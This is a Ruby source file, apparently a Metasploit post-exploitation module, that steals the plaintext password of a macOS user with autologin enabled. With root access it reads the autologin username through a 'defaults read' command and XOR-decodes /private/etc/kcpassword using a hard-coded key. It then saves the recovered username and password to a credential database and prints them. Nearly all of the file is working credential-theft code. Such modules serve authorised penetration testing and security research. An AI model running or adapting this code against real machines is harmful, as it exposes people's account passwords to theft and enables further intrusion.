autologin_password.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::File
  include Msf::Post::OSX::Priv

  # extract/verify by XORing your kcpassword with your password
  AUTOLOGIN_XOR_KEY = [0x7D, 0x89, 0x52, 0x23, 0xD2, 0xBC, 0xDD, 0xEA, 0xA3, 0xB9, 0x1F]

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'OSX Gather Autologin Password as Root',
        'Description' => %q{
          This module will steal the plaintext password of any user on the machine
          with autologin enabled. Root access is required.

          When a user has autologin enabled (System Preferences -> Accounts), OSX
          stores their password with an XOR encoding in /private/etc/kcpassword.
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'joev' ],
        'Platform' => [ 'osx' ],
        'References' => [
          ['URL', 'https://web.archive.org/web/20180408062145/http://www.brock-family.org/gavin/perl/kcpassword.html'],
        ],
        'SessionTypes' => [ 'meterpreter', 'shell' ],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [],
          'Reliability' => []
        }
      )
    )

    register_advanced_options([
      OptString.new('KCPASSWORD_PATH', [true, 'Path to kcpassword file', '/private/etc/kcpassword'])
    ])
  end

  def run
    # ensure the user is root (or can read the kcpassword)
    unless is_root?
      fail_with(Failure::NoAccess, 'Root privileges are required to read kcpassword file')
    end

    # read the autologin account from prefs plist
    read_cmd = 'defaults read /Library/Preferences/com.apple.loginwindow autoLoginUser username'
    autouser = cmd_exec("/bin/sh -c '#{read_cmd} 2> /dev/null'")

    if autouser.present?
      print_status "User #{autouser} has autologin enabled, decoding password..."
    else
      fail_with(Failure::NotVulnerable, 'No users on this machine have autologin enabled')
    end

    # kcpass contains the XOR'd bytes
    kcpass = read_file(kcpassword_path)
    key = AUTOLOGIN_XOR_KEY

    # decoding routine, slices into 11 byte chunks and XOR's each chunk
    decoded = kcpass.bytes.to_a.each_slice(key.length).map do |kc|
      kc.each_with_index.map { |byte, idx| byte ^ key[idx] }.map(&:chr).join
    end.join.sub(/\x00.*$/, '')

    # save in the database
    # Don't record a Login, since we don't know what service to tie it to
    credential_data = {
      workspace_id: myworkspace_id,
      origin_type: :session,
      session_id: session_db_id,
      post_reference_name: refname,
      username: autouser,
      private_data: decoded,
      private_type: :password
    }

    create_credential(credential_data)
    print_good "Decoded autologin password: #{autouser}:#{decoded}"
  end

  private

  def kcpassword_path
    datastore['KCPASSWORD_PATH']
  end

  def user
    @user ||= cmd_exec('whoami').chomp
  end
end